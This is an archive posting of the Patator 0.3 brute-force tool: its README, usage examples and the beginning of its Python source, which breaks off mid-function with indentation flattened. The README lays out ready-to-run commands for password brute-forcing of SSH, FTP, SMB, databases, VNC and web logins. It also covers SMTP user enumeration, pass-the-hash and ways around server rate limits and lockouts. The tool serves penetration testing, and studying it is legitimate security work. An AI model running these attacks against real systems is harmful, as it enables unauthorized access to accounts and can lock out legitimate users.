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Patator Brute Forcer 0.3

Patator Brute Forcer 0.3
Posted Dec 29, 2011
Authored by Sebastien Macke | Site hsc.fr

Patator is a multi-purpose brute-forcer, with a modular design and a flexible usage. When Medusa, Hydra or other brute-force tools fail to do what you want, Patator might be what you need.

tags | tool, cracker
MD5 | 02993a1354fc980e835d40477e8d41fc

Patator Brute Forcer 0.3

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#!/usr/bin/env python

# Copyright (C) 2011 Sebastien MACKE
#
# This program is free software; you can redistribute it and/or modify it under
# the terms of the GNU General Public License version 2, as published by the
# Free Software Foundation
#
# This program is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
# FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
# details (http://www.gnu.org/licenses/gpl.txt).

__author__ = 'Sebastien Macke'
__email__ = 'patator@hsc.fr'
__url__ = 'http://www.hsc.fr/ressources/outils/patator/'
__git__ = 'http://code.google.com/p/patator/'
__version__ = '0.3'
__license__ = 'GPLv2'

# README {{{

'''
INTRODUCTION
------------

* What ?

Patator is a multi-purpose brute-forcer, with a modular design and a flexible usage.

Currently it supports the following modules:
- ftp_login : Brute-force FTP
- ssh_login : Brute-force SSH
- telnet_login : Brute-force Telnet
- smtp_login : Brute-force SMTP
- smtp_vrfy : Enumerate valid users using the SMTP 'VRFY' command
- smtp_rcpt : Enumerate valid users using the SMTP 'RCPT TO' command
- http_fuzz : Brute-force HTTP/HTTPS
- pop_passd : Brute-force poppassd (not POP3)
- ldap_login : Brute-force LDAP
- smb_login : Brute-force SMB
- mssql_login : Brute-force MSSQL
- oracle_login : Brute-force Oracle
- mysql_login : Brute-force MySQL
- pgsql_login : Brute-force PostgreSQL
- vnc_login : Brute-force VNC

- dns_forward : Forward lookup subdomains
- dns_reverse : Reverse lookup subnets
- snmp_login : Brute-force SNMPv1/2 and SNMPv3

- unzip_pass : Brute-force the password of encrypted ZIP files
- keystore_pass : Brute-force the password of Java keystore files

Future modules to be implemented:
- rdp_login
- vmware_login (902/tcp)
- pop3_login

The name "Patator" comes from http://www.youtube.com/watch?v=xoBkBvnTTjo
"Whatever the payload to fire, always use the same launch tube"

* Why ?

Basically, I got tired of using Medusa, Hydra, ncrack, metasploit auxiliary modules, nmap NSE scripts and the like because:
- they either do not work or are not reliable (got me false negatives several times in the past)
- they are slow (not multi-threaded or not testing multiple passwords within the same TCP connection)
- they lack very useful features that are easy to code in python (eg. interactive runtime)


FEATURES
--------
* No false negatives, as it is the user that decides what results to ignore based on:
+ status code of response
+ size of response
+ matching string or regex in response data
+ ... see --help

* Modular design
+ not limited to network modules (eg. the unzip_pass module)
+ not limited to brute-forcing (eg. remote exploit testing, or vulnerable version probing)

* Interactive runtime
+ show verbose progress
+ pause/unpause execution
+ increase/decrease verbosity
+ add new actions & conditions during runtime in order to exclude more types of response from showing
+ ... press h to see all available interactive commands

* Use persistent connections (ie. will test several passwords until the server disconnects)

* Multi-threaded

* Flexible user input
- Any part of a payload is fuzzable:
+ use FILE[0-9] keywords to iterate on a file
+ use COMBO[0-9] keywords to iterate on the combo entries of a file
+ use NET[0-9] keywords to iterate on every host of a network subnet

- Iteration over the joined wordlists may be done in any order

* Save every response (along with request) to seperate log files for later reviewing


INSTALL
-------

* Dependencies (best tested versions)

| Required for | URL | Version |
--------------------------------------------------------------------------------------------------
paramiko | SSH | http://www.lag.net/paramiko/ | 1.7.7.1 |
--------------------------------------------------------------------------------------------------
pycurl | HTTP | http://pycurl.sourceforge.net/ | 7.19.0 |
--------------------------------------------------------------------------------------------------
openldap | LDAP | http://www.openldap.org/ | 2.4.24 |
--------------------------------------------------------------------------------------------------
impacket | SMB | http://oss.coresecurity.com/projects/impacket.html | svn#414 |
--------------------------------------------------------------------------------------------------
cx_Oracle | Oracle | http://cx-oracle.sourceforge.net/ | 5.0.4 |
--------------------------------------------------------------------------------------------------
mysql-python | MySQL | http://sourceforge.net/projects/mysql-python/ | 1.2.3 |
--------------------------------------------------------------------------------------------------
psycopg | PostgreSQL | http://initd.org/psycopg/ | 2.4.1 |
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pycrypto | VNC | http://www.dlitz.net/software/pycrypto/ | 2.3 |
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pydns | DNS | http://pydns.sourceforge.net/ | 2.3.4 |
--------------------------------------------------------------------------------------------------
pysnmp | SNMP | http://pysnmp.sf.net/ | 4.1.16a |
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IPy | NETx keywords | https://github.com/haypo/python-ipy | 0.75 |
--------------------------------------------------------------------------------------------------
unzip | ZIP passwords | http://www.info-zip.org/ | 6.0 |
--------------------------------------------------------------------------------------------------
Java | keystore files | http://www.oracle.com/technetwork/java/javase/ | 6u29 |
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python | | http://www.python.org/ | 2.6.6 |
--------------------------------------------------------------------------------------------------

* Shortcuts (optionnal)
ln -s path/to/patator.py /usr/bin/ftp_login
ln -s path/to/patator.py /usr/bin/http_fuzz
so on ...


USAGE
-----

$ python patator.py <module> -h
or
$ <module> -h (if you created the shortcuts)

There are global options and module options:
- all global options start with - or --
- all module options are of the form option=value

All module options are fuzzable:
---------
./module host=FILE0 port=FILE1 foobar=FILE2.google.FILE3 0=hosts.txt 1=ports.txt 2=foo.txt 3=bar.txt

The keywords (FILE, COMBO, NET, ...) act as place-holders. They indicate the type of wordlist
and where to replace themselves with the actual words to test.

Each keyword is numbered in order to:
- match the corresponding wordlist
- and indicate in what order to iterate over all the wordlists

For instance, this would be the classic order:
---------
./module host=FILE0 user=FILE1 password=FILE2 0=hosts.txt 1=logins.txt 2=passwords.txt
10.0.0.1 root password
10.0.0.1 root 123456
10.0.0.1 root qsdfghj
....
10.0.0.1 test password
10.0.0.1 test 123456
10.0.0.1 test qsdfghj
...
10.0.0.2 root password
...

When a better way may be:
---------
./module host=FILE2 password=FILE1 user=FILE0 0=logins.txt 1=passwords.txt 2=hosts.txt
10.0.0.1 root password
10.0.0.2 root password
10.0.0.1 admin password
10.0.0.2 admin password
10.0.0.1 root 123456
10.0.0.2 root 123456
10.0.0.1 admin 123456
...


* Keywords

Brute-force a list of hosts with a file containing combo entries (each line := login:password).
---------
./module host=FILE0 user=COMBO10 password=COMBO11 0=hosts.txt 1=combos.txt


Scan subnets to just grab version banners.
---------
./module host=NET0 0=10.0.1.0/24,10.0.2.0/24,10.0.3.128-10.0.3.255


* Actions & Conditions

Use the -x option to do specific actions upon receiving expected results. For instance:

To ignore responses with status code 301 *AND* a size within a range.
---------
./module host=10.0.0.1 user=FILE0 -x ignore:code=301,size=57-74

To ignore responses with status code 500 *OR* containing "Internal error".
---------
./module host=10.0.0.1 user=FILE0 -x ignore:code=500 -x ignore:fgrep='Internal error'

Remember that conditions are ANDed within the same -x option, use multiple -x options to
specify ORed conditions.


* Failures (--failure-delay and --max-retries options)

During execution, failures may happen, such as a TCP connect timeout for
instance. A failure is actually an exception that is not caught by the module,
and as a result the exception is caught upstream by the controller. By default,
such exceptions, or failures, are not reported to the user, the controller will
try 5 more times before reporting the failed payload with the code "xxx"
(--max-retries defaults to 5).

After catching a failure, the controller will discard the module instance that
may be in a dubious state to create a brand new one, and then sleep for 0.5
second before trying again the same payload (--failure-delay defaults to 0.5).


* Read carefully the following examples to get a good understanding of how patator works.
{{{ FTP

* Brute-force authentication.
(a) Establish a new TCP connection for every login attempt (slow).
--------- (a)
ftp_login host=10.0.0.1 user=FILE0 password=FILE1 0=logins.txt 1=passwords.txt persistent=0

NB. If you get errors like "too many connections from your IP address", try
decreasing the number of threads, the server may be enforcing a maximum
number of concurrent connections.


* Same as before, but without persistent=0 in order to re-use the TCP connection (faster).
(a) Establish a new TCP connection after 3 login attempts were done using the same TCP connection.
(b) Do not report wrong passwords.
(c) Reconnect when a valid password is found (need to logoff before testing other passwords).
--------- (a) (b) (c)
ftp_login ... --rate-reset 3 -x ignore:mesg='Login incorrect.' -x reset:fgrep='Login successful'


* Same as before, but without --rate-reset as we automatically detect when the server has
closed the connection.
(a) Do not report everytime the server shuts down the TCP connection, reconnect and
retry last login/password.
(b) Exit execution as soon as a valid password is found.
--------- (a) (b)
ftp_login ... -x ignore,reset,retry:code=500 -x quit:fgrep='Login successful'


* Find anonymous FTP servers on a subnet.
---------
ftp_login host=NET0 user=anonymous password=test@example.com 0=10.0.0.0/24

}}}
{{{ SSH
* Brute-force authentication.
(a) Test 3 passwords within the same SSH session before reconnecting.
(b) Reconnect when a valid password is found (need to logoff before testing other passwords).
--------- (a) (b)
ssh_login host=10.0.0.1 user=root password=FILE0 0=passwords.txt --rate-reset 3 -x reset:code=0

NB. If you get errors like "Error reading SSH protocol banner ... Connection reset by peer",
try decreasing the number of threads, the server may be enforcing a maximum
number of concurrent connections (eg. MaxStartups in OpenSSH).


* Same as before, but without --rate-reset as we automatically detect when we have reached
the maximum number of login attempts permitted per connection (eg. MaxAuthTries > 3 in OpenSSH).
(a) Do not report wrong passwords.
(b) Do not report everytime the server shuts down the TCP connection, reconnect and
retry last password.
--------- (a) (b)
ssh_login ... -x ignore:mesg='Authentication failed.' -x ignore,reset,retry:mesg='No existing session'

}}}
{{{ Telnet

* Brute-force authentication.
(a) Enter login after first prompt is detected, enter password after second prompt.
(b) The regex to detect the login and password prompts.
(c) Reconnect when we get no login prompt back (max number of tries reached or successful login).
------------ (a)
telnet_login host=10.0.0.1 inputs='FILE0\nFILE1' 0=logins.txt 1=passwords.txt
prompt_re='Username:|Password:' -x reset:egrep!='% Login failed!.+Username:'
(b) (c)

NB. If you get errors like "telnet connection closed", this is because they occur
at TCP connect time, so try decreasing the number of threads, the server may
be enforcing a maximum number of concurrent connections.

}}}
{{{ SMTP

* Enumerate valid users using the VRFY command.
(a) Do not report invalid recipients.
(b) Do not report when the server shuts us down with "421 too many errors",
reconnect and resume testing.
--------- (a)
smtp_vrfy host=10.0.0.1 user=FILE0 0=logins.txt -x ignore:fgrep='User unknown in local
recipient table' -x ignore,reset,retry:code=421
(b)

* Use the RCPT TO command in case the VRFY command was disabled.
---------
smtp_rcpt host=10.0.0.1 user=FILE0@localhost 0=logins.txt helo='ehlo mx.fb.com' mail_from=root


* Brute-force authentication.
(a) Send a fake hostname (by default the real hostname is sent)
------------ (a)
smtp_login host=10.0.0.1 helo='ehlo its.me.com' user=FILE0@dom.com password=FILE1 0=logins.txt 1=passwords.txt

}}}
{{{ HTTP

* Find hidden Web resources.
(a) Use a specific header.
(b) Follow redirects.
(c) Do not report 404 errors.
(d) Retry on 500 errors.
--------- (a)
http_fuzz url=http://localhost/FILE0 0=words.txt header='Cookie: SESSID=A2FD8B2DA4'
follow=1 -x ignore:code=404 -x ignore,retry:code=500
(b) (c) (d)

NB. You may be able to go 10 times faster using webef (http://www.hsc.fr/ressources/outils/webef/).
It is the fastest HTTP brute-forcer I know, yet at the moment it still lacks useful features
that will prevent you from performing the following attacks.

* Brute-force phpMyAdmin logon.
(a) Use POST requests.
(b) Follow redirects using cookies sent by server.
(c) Ignore failed authentications.
--------- (a) (b) (b)
http_fuzz url=http://10.0.0.1/phpmyadmin/index.php method=POST follow=1 accept_cookie=1
body='pma_username=root&pma_password=FILE0&server=1&lang=en' 0=passwords.txt
-x ignore:fgrep='Cannot log in to the MySQL server'
(c)

* Scan subnet for directory listings.
(a) Ignore not matching reponses.
(b) Save matching responses into directory.
---------
http_fuzz url=http://NET0/FILE1 0=10.0.0.0/24 1=dirs.txt -x ignore:fgrep!='Index of'
-l /tmp/directory_listings (a)
(b)

* Brute-force Basic authentication.
(a) Single mode (login == password).
(b) Do not report failed login attempts.
---------
http_fuzz url=http://10.0.0.1/manager/html user_pass=FILE0:FILE0 0=logins.txt -x ignore:code=401
(a) (b)

* Find hidden virtual hosts.
(a) Read template from file.
(b) Fuzz both the Host and User-Agent headers.
---------
echo -e 'Host: FILE0\nUser-Agent: FILE1' > headers.txt
http_fuzz url=http://10.0.0.1/ header=@headers.txt 0=vhosts.txt 1=agents.txt
(a) (b)

* Brute-force logon using GET requests.
(a) Encode everything surrounded by the two tags _@@_ in hexadecimal.
(b) Ignore HTTP 200 responses with a content size (header+body) within given range
and that also contain the given string.
(c) Use a different delimiter string because the comma cannot be escaped.
--------- (a) (a)
http_fuzz url='http://localhost/login?username=admin&password=_@@_FILE0_@@_' -e _@@_:hex
0=words.txt -x ignore:'code=200|size=1500-|fgrep=Welcome, unauthenticated user' -X'|'
(b) (c)

* Test the OPTIONS method against a list of URLs.
(a) Ignore URLs that only allow the HEAD and GET methods.
(b) Header end of line is '\r\n'.
(c) Use a different delimiter string because the comma cannot be escaped.
---------
http_fuzz url=FILE0 0=urls.txt method=OPTIONS -x ignore:egrep='^Allow: HEAD, GET\r$' -X '|'
(a) (b) (c)
}}}
{{{ LDAP

* Brute-force authentication.
(a) Do not report wrong passwords.
(b) Talk SSL/TLS to port 636.
---------
ldap_login host=10.0.0.1 bindn='cn=FILE0,dc=example,dc=com' 0=logins.txt bindpw=FILE1 1=passwords.txt
-x ignore:mesg='ldap_bind: Invalid credentials (49)' ssl=1 port=636
(a) (b)
}}}
{{{ SMB

* Brute-force authentication.
(a) Do not report wrong passwords.
(b) Reconnect when a valid password is found (need to logoff before testing other passwords).
---------
smb_login host=10.0.0.1 user=FILE0 password=FILE1 0=logins.txt 1=passwords.txt
-x ignore:fgrep=STATUS_LOGON_FAILURE -x reset:code=0
(a) (b)

NB. If you suddenly get STATUS_ACCOUNT_LOCKED_OUT errors for an account
although it is not the first password you test on this account, then you must
have locked it.


* Pass-the-hash.
(a) Test a list of hosts.
(b) Test every user (each line := login:rid:LM hash:NT hash).
--------- (a) (b)
smb_login host=FILE0 0=hosts.txt user=COMBO10 password_hash=COMBO12:COMBO13 1=pwdump.txt -x ...

}}}
{{{ MSSQL

* Brute-force authentication.
-----------
mssql_login host=10.0.0.1 user=sa password=FILE0 0=passwords.txt -x ignore:fgrep='Login failed for user'

}}}
{{{ Oracle
Beware, by default in Oracle, accounts are permanently locked out after 10 wrong passwords,
except for the SYS account.

* Brute-force authentication.
------------
oracle_login host=10.0.0.1 user=SYS password=FILE0 0=passwords.txt sid=ORCL -x ignore:code=ORA-01017

NB0. With Oracle 10g XE (Express Edition), you do not need to pass a SID.

NB1. If you get ORA-12516 errors, it may be because you reached the limit of
concurrent connections or db processes, try using "--rate-limit 0.5 -t 2" to be
more polite. Also you can run "alter system set processes=150 scope=spfile;"
and restart your database to get rid of this.


* Brute-force SID.
------------
oracle_login host=10.0.0.1 sid=FILE0 0=sids.txt -x ignore:code=ORA-12505

NB. Against Oracle9, it may crash (Segmentation fault) as soon as a valid SID is
found (cx_Oracle bug). Sometimes, the SID gets printed out before the crash,
so try running the same command again if it did not.

}}}
{{{ MySQL

* Brute-force authentication.
-----------
mysql_login host=10.0.0.1 user=FILE0 password=FILE0 0=logins.txt -x ignore:fgrep='Access denied for user'

}}}
{{{ PostgresSQL

* Brute-force authentication.
-----------
pgsql_login host=10.0.0.1 user=postgres password=FILE0 0=passwords.txt
-x ignore:fgrep='password authentication failed for user'

}}}
{{{ VNC
Some VNC servers have built-in anti-bruteforce functionnality that temporarily
blacklists the attacker IP address after too many wrong passwords.
- RealVNC-4.1.3 or TightVNC-1.3.10 for example, allow 5 failed attempts and
then enforce a 10 second delay. For each subsequent failed attempt that
delay is doubled.
- RealVNC-3.3.7 or UltraVNC allow 6 failed attempts and then enforce a 10
second delay between each following attempt.

* Brute-force authentication.
(a) No need to use more than one thread.
(b) Keep retrying the same password when we are blacklisted by the server.
(c) Exit execution as soon as a valid password is found.
--------- (a)
vnc_login host=10.0.0.1 password=FILE0 0=passwords.txt --threads 1
-x retry:fgrep!='Authentication failure' --max-retries -1 -x quit:code=0
(b) (b) (c)
}}}
{{{ Unzip

* Brute-force the ZIP file password.
----------
unzip_pass zipfile=path/to/file.zip password=FILE0 0=passwords.txt -x ignore:code!=0

}}}
{{{ DNS

* Forward lookup subdomains.
(a) Ignore NXDOMAIN responses (rcode 3).
-----------
dns_forward domain=FILE0.google.com 0=names.txt -x ignore:code=3
(a)
* Forward lookup domain with all possible TLDs.
-----------
dns_forward domain=google.MOD0 0=TLD -x ignore:code=3

* Foward lookup SRV records.
-----------
dns_forward domain=MOD0.microsoft.com 0=SRV qtype=SRV -x ignore:code=3

* Reverse lookup several subnets.
(a) Ignore names that do not contain 'google.com'.
(b) Ignore generic PTR records.
-----------
dns_reverse host=NET0 0=216.239.32.0-216.239.47.255,8.8.8.0/24 -x ignore:code=3 -x ignore:fgrep!=google.com -x ignore:fgrep=216-239-
(a) (b)
}}}
{{{ SNMP

* SNMPv1/2 : Find valid community names.
----------
snmp_login host=10.0.0.1 community=FILE0 1=names.txt -x ignore:mesg='No SNMP response received before timeout'


* SNMPv3 : Find valid usernames.
----------
snmp_login host=10.0.0.1 version=3 user=FILE0 0=logins.txt -x ignore:mesg=unknownUserName


* SNMPv3 : Find valid passwords.
----------
snmp_login host=10.0.0.1 version=3 user=myuser auth_key=FILE0 0=passwords.txt -x ignore:mesg=wrongDigest

NB0. If you get "notInTimeWindow" error messages, increase the retries option.
NB1. SNMPv3 requires passphrases to be at least 8 characters long.

}}}

CHANGELOG
---------

* v0.3 2011/12/16
- minor bugs fixed in http_fuzz
- option -e better implemented
- better warnings about missing dependencies

* v0.2 2011/12/01
- new smtp_login module
- several bugs fixed

* v0.1 2011/11/25 : Public release


TODO
----
* SSL support for SMTP, MySQL, ... (use socat in the meantime)
* new option -e ns like in Medusa (not likely to be implemented due to design)
* replace PyDNS|paramiko|IPy with a better module (scapy|libssh2|... ?)
'''

# }}}

# imports and logging {{{
import logging
formatter = logging.Formatter('%(asctime)s %(name)-7s %(levelname)7s - %(message)s', datefmt='%H:%M:%S')
handler = logging.StreamHandler()
handler.setFormatter(formatter)
logger = logging.getLogger('patator')
logger.setLevel(logging.INFO)
logger.addHandler(handler)

import re
from time import sleep, time
from Queue import Queue, Empty, Full
from threading import Thread, active_count
from select import select
from sys import stdin, exc_info, exit
import os
from time import localtime, strftime, sleep
from itertools import product, chain, islice
from string import ascii_lowercase
from binascii import hexlify
from base64 import b64encode
from datetime import timedelta, datetime
from struct import unpack
import socket
import subprocess
import hashlib

warnings = []
try:
from IPy import IP
has_ipy = True
except ImportError:
has_ipy = False

# imports }}}

# utils {{{
def which(program):
def is_exe(fpath):
return os.path.exists(fpath) and os.access(fpath, os.X_OK)

fpath, fname = os.path.split(program)
if fpath:
if is_exe(program):
return program
else:
for path in os.environ["PATH"].split(os.pathsep):
exe_file = os.path.join(path, program)
if is_exe(exe_file):
return exe_file

return None

def create_dir(top_path):
top_path = os.path.abspath(top_path)
if os.path.isdir(top_path):
files = os.listdir(top_path)
if files:
if raw_input("Directory '%s' is not empty, do you want to wipe it ? [Y/n]: " % top_path) == 'n':
exit(0)
for root, dirs, files in os.walk(top_path):
if dirs:
print("Directory '%s' contains sub-directories, safely aborting..." % root)
exit(0)
for f in files:
os.unlink(os.path.join(root, f))
break
else:
os.mkdir(top_path)
return top_path

def create_time_dir(top_path, desc):
now = localtime()
date, time = strftime('%Y-%m-%d', now), strftime('%H%M%S', now)
top_path = os.path.abspath(top_path)
date_path = os.path.join(top_path, date)
time_path = os.path.join(top_path, date, time + '_' + desc)

if not os.path.isdir(top_path):
os.makedirs(top_path)
if not os.path.isdir(date_path):
os.mkdir(date_path)
if not os.path.isdir(time_path):
os.mkdir(time_path)

return time_path

def pprint_seconds(seconds, fmt):
return fmt % reduce(lambda x,y: divmod(x[0], y) + x[1:], [(seconds,),60,60])

def md5hex(plain):
return hashlib.md5(plain).hexdigest()

def sha1hex(plain):
return hashlib.sha1(plain).hexdigest()

# }}}

# Controller {{{
class Controller:
actions = {}
paused = False
start_time = 0
total_size = 1
log_dir = None
thread_report = []
thread_progress = []

payload = {}
iter_keys = {}
enc_keys = []

builtin_actions = (
('ignore', 'do not report'),
('retry', 'try payload again'),
('quit', 'terminate execution now'),
)

available_encodings = {
'hex': (hexlify, 'encode in hexadecimal'),
'b64': (b64encode, 'encode in base64'),
'md5': (md5hex, 'hash in md5'),
'sha1': (sha1hex, 'hash in sha1'),
}

def expand_key(self, arg):
yield arg.split('=', 1)

def find_file_keys(self, value):
return map(int, re.findall(r'FILE(\d)', value))

def find_net_keys(self, value):
return map(int, re.findall(r'NET(\d)', value))

def find_combo_keys(self, value):
return [map(int, t) for t in re.findall(r'COMBO(\d)(\d)', value)]

def find_module_keys(self, value):
return map(int, re.findall(r'MOD(\d)', value))

def usage_parser(self, name):
from optparse import OptionParser
from optparse import OptionGroup

usage_hints = self.module.usage_hints

available_actions = self.builtin_actions + self.module.available_actions
available_conditions = self.module.Response.available_conditions

parser = OptionParser()
usage = '''
%s''' % '\n'.join(usage_hints)

usage += '''

Module options:
%s

* Allowed format in ()
* Allowed values in [] with the default value always listed first
''' % ('\n'.join(' %-14s: %s' % (k, v) for k, v in self.module.available_options))

usage += '''
Syntax:
-x actions:conditions

actions := action[,action]*
action := "%s"
conditions := condition=value[,condition=value]*
condition := "%s"
''' % ('" | "'.join(k for k, v in available_actions),
'" | "'.join(k for k, v in available_conditions))

usage += '''
%s

%s
''' % ('\n'.join(' %-12s: %s' % (k, v) for k, v in available_actions),
'\n'.join(' %-12s: %s' % (k, v) for k, v in available_conditions))

usage += '''
For example, to ignore all redirects to the home page:
... -x ignore:code=302,fgrep='Location: /home.html'

-e tag:encoding

tag := any unique string (eg. T@G or _@@_ or ...)
encoding := "%s"

%s''' % ('" | "'.join(k for k in self.available_encodings),
'\n'.join(' %-12s: %s' % (k, v) for k, (f, v) in self.available_encodings.iteritems()))

usage += '''

For example, to encode every password in base64:
... host=10.0.0.1 user=admin password=_@@_FILE0_@@_ -e _@@_:b64
'''


parser.usage = usage.replace('%prog', name)

exe_grp = OptionGroup(parser, 'Execution')
exe_grp.add_option('-x', dest='actions', action='append', default=[], metavar='arg', help='actions and conditions, see Syntax above')
exe_grp.add_option('--start', dest='start', type='int', default=0, metavar='N', help='start from offset N in the wordlist product')
exe_grp.add_option('--stop', dest='stop', type='int', default=None, metavar='N', help='stop at offset N')
exe_grp.add_option('--resume', dest='resume', metavar='r1[,rN]*', help='resume previous run')
exe_grp.add_option('-e', dest='encodings', action='append', default=[], metavar='arg', help='encode everything between two tags, see Syntax above')
exe_grp.add_option('-C', dest='combo_delim', default=':', metavar='str', help="delimiter string in combo files (default is ':')")
exe_grp.add_option('-X', dest='condition_delim', default=',', metavar='str', help="delimiter string in conditions (default is ',')")

opt_grp = OptionGroup(parser, 'Optimization')
opt_grp.add_option('--rate-limit', dest='rate_limit', type='float', default=0, metavar='N', help='wait N seconds between tests (default is 0)')
opt_grp.add_option('--rate-reset', dest='rate_reset', type='int', default=0, metavar='N', help='reset module every N tests (default is 0: never reset)')
opt_grp.add_option('--failure-delay', dest='failure_delay', type='float', default=0.5, metavar='N', help='wait N seconds after a failure (default is 0.5)')
opt_grp.add_option('--max-retries', dest='max_retries', type='int', default=5, metavar='N', help='skip payload after N failures (default is 5) (-1 for unlimited)')
opt_grp.add_option('-t', '--threads', dest='num_threads', type='int', default=10, metavar='N', help='number of threads (default is 10)')

log_grp = OptionGroup(parser, 'Logging')
log_grp.add_option('-l', dest='log_dir', metavar='DIR', help="save output and response data into DIR ")
log_grp.add_option('-L', dest='auto_log', metavar='SFX', help="automatically save into DIR/yyyy-mm-dd/hh:mm:ss_SFX (DIR defaults to '/tmp/patator')")

dbg_grp = OptionGroup(parser, 'Debugging')
dbg_grp.add_option('-d', '--debug', dest='debug', action='store_true', default=False, help='enable debug messages')

parser.option_groups.extend([exe_grp, opt_grp, log_grp, dbg_grp])

return parser

def parse_usage(self, argv):
parser = self.usage_parser(argv[0])
opts, args = parser.parse_args(argv[1:])

if opts.debug:
logger.setLevel(logging.DEBUG)

if not len(args) > 0:
parser.print_help()
print('\nERROR: wrong usage. Please read the README inside for more information.')
exit(2)

return opts, args

def __init__(self, module, argv):
self.module = module
opts, args = self.parse_usage(argv)

self.combo_delim = opts.combo_delim
self.condition_delim = opts.condition_delim
self.rate_reset = opts.rate_reset
self.rate_limit = opts.rate_limit
self.failure_delay = opts.failure_delay
self.max_retries = opts.max_retries
self.num_threads = opts.num_threads
self.start, self.stop, self.resume = opts.start, opts.stop, opts.resume

wlists = {}
kargs = []
for arg in args: # ('host=NET0', '0=10.0.0.0/24', 'user=COMBO10', 'password=COMBO11', '1=combos.txt', 'domain=MOD2', '2=TLD')
for k, v in self.expand_key(arg):
logger.debug('k: %s, v: %s' % (k, v))

if k.isdigit():
wlists[k] = v

else:
if v.startswith('@'):
p = os.path.expanduser(v[1:])
v = open(p).read()
kargs.append((k, v))

iter_vals = [v for k, v in sorted(wlists.iteritems())]
logger.debug('iter_vals: %s' % iter_vals) # ['10.0.0.0/24', 'combos.txt', 'TLD']
logger.debug('kargs: %s' % kargs) # [('host', 'NET0'), ('user', 'COMBO10'), ('password', 'COMBO11'), ('domain', 'MOD2')]

for k, v in kargs:

for e in opts.encodings:
meta, enc = e.split(':')
if re.search(r'{0}.+?{0}'.format(meta), v):
self.enc_keys.append((k, meta, self.available_encodings[enc][0]))

for i in self.find_file_keys(v):
if i not in self.iter_keys:
self.iter_keys[i] = ('FILE', iter_vals[i], [])
self.iter_keys[i][2].append(k)

else:
for i in self.find_net_keys(v):
if i not in self.iter_keys:
self.iter_keys[i] = ('NET', iter_vals[i], [])
self.iter_keys[i][2].append(k)

if not has_ipy:
logger.warn('IPy (https://github.com/haypo/python-ipy) is required for using NETx keywords.')
logger.warn('Please read the README inside for more information.')
exit(3)

else:
for i, j in self.find_combo_keys(v):
if i not in self.iter_keys:
self.iter_keys[i] = ('COMBO', iter_vals[i], [])
self.iter_keys[i][2].append((j, k))

else:
for i in self.find_module_keys(v):
if i not in self.iter_keys:
self.iter_keys[i] = ('MOD', iter_vals[i], [])
self.iter_keys[i][2].append(k)

else:
self.payload[k] = v

# { 0: ('NET', '10.0.0.0/24', ['host']), 1: ('COMBO', 'combos.txt', [(0, 'user'), (1, 'password')]), 2: ('MOD', 'TLD', ['domain'])
logger.debug('iter_keys: %s' % self.iter_keys)
logger.debug('enc_keys: %s' % self.enc_keys) # [('password', 'ENC', hexlify), ('header', 'B64', b64encode), ...
logger.debug('payload: %s' % self.payload)

for k, _ in self.builtin_actions:
self.actions[k] = []

self.module_actions = [k for k, _ in self.module.available_actions]
for k in self.module_actions:
self.actions[k] = []

for x in opts.actions:
self.update_actions(x)

logger.debug('actions: %s' % self.actions)

if opts.auto_log:
self.log_dir = create_time_dir(opts.log_dir or '/tmp/patator', opts.auto_log)
elif opts.log_dir:
self.log_dir = create_dir(opts.log_dir)

if self.log_dir:
log_file = os.path.join(self.log_dir, 'RUNTIME.log')
with open(log_file, 'w') as f:
f.write('$ %s\n' % ' '.join(argv))

handler = logging.FileHandler(log_file)
handler.setFormatter(formatter)
logging.getLogger('patator').addHandler(handler)

def update_actions(self, arg):
actions, conditions = arg.split(':', 1)

for action in actions.split(','):
conds = conditions.split(self.condition_delim)
new_cond = []

for cond in conds:
key, val = cond.split('=', 1)
new_cond.append((key, val))

self.actions[action].append(new_cond)

def lookup_actions(self, resp):
actions = []
for action, conditions in self.actions.iteritems():
for condition in conditions:
for key, val in condition:
if key[-1] == '!':
if resp.match(key[:-1], val):
break
else:
if not resp.match(key, val):
break
else:
actions.append(action)
return actions

def fire(self):
logger.info('Starting Patator v%s (%s) at %s'
% (__version__, __git__, strftime('%Y-%m-%d %H:%M %Z', localtime())))

try:
self.start_threads()
self.monitor_progress()
except SystemExit:
pass
except KeyboardInterrupt:
print
except:
logger.exception(exc_info()[1])

hits_count = sum(p.hits_count for p in self.thread_progress)
done_count = sum(p.done_count for p in self.thread_progress)
fail_count = sum(p.fail_count for p in self.thread_progress)

total_time = time() - self.start_time
speed_avg = done_count / total_time

self.show_final()

logger.info('Hits/Done/Size/Fail: %d/%d/%d/%d, Avg: %d r/s, Time: %s' % (hits_count,
done_count, self.total_size, fail_count, speed_avg, pprint_seconds(total_time, '%dh %dm %ds')))

if self.total_size != done_count:
resume = []
for i, p in enumerate(self.thread_progress):
c = p.done_count
if self.resume:
if i < len(self.resume):
c += self.resume[i]
resume.append(str(c))

logger.info('To resume execution, pass --resume %s' % ','.join(resume))

def push_final(self, resp): pass
def show_final(self): pass

def start_threads(self):
gqueues = [Queue(maxsize=10000) for i in range(self.num_threads)]

# producer
t = Thread(target=self.produce, args=(gqueues,))
t.daemon = True
t.start()

class Progress:
def __init__(self):
self.current = ''
self.done_count = 0
self.hits_count = 0
self.fail_count = 0
self.seconds = [1]*25 # avoid division by zero early bug condition

# consumers
for num in range(self.num_threads):
pqueue = Queue()
t = Thread(target=self.consume, args=(gqueues[num], pqueue))
t.daemon = True
t.start()
self.thread_report.append(pqueue)
self.thread_progress.append(Progress())

def produce(self, queues):

iterables = []
for t, v, _ in self.iter_keys.itervalues():

if t in ('FILE', 'COMBO'):
#iterable, size = self.builtin_keywords[t](v)
files = map(os.path.expanduser, v.split(','))
size = sum(sum(1 for _ in open(f)) for f in files)
iterable = chain(*map(open, files))

elif t == 'NET':
subnets = [IP(n, make_net=True) for n in v.split(',')]
size = sum(len(s) for s in subnets)
iterable = chain(*subnets)

elif t == 'MOD':
iterable, size = self.module.available_keys[v]()

else:
raise NotImplementedError("Incorrect keyword '%s'" % t)

self.total_size *= size
iterables.append(iterable)

if self.stop:
self.total_size = self.stop - self.start
else:
self.total_size -= self.start

if self.resume:
self.resume = map(int, self.resume.split(','))
self.total_size -= sum(self.resume)

logger.info('')
logger.info('%-15s | %-25s \t | %5s | %s' % ('code & size', 'candidate', 'num', 'mesg'))
logger.info('-' * 63)

self.start_time = time()
count = 0
for pp in islice(product(*iterables), self.start, self.stop):

cid = count % self.num_threads
prod = map(lambda s: str(s).strip('\r\n'), pp)

if self.resume:
idx = count % len(self.resume)
off = self.resume[idx]

if count < off * len(self.resume):
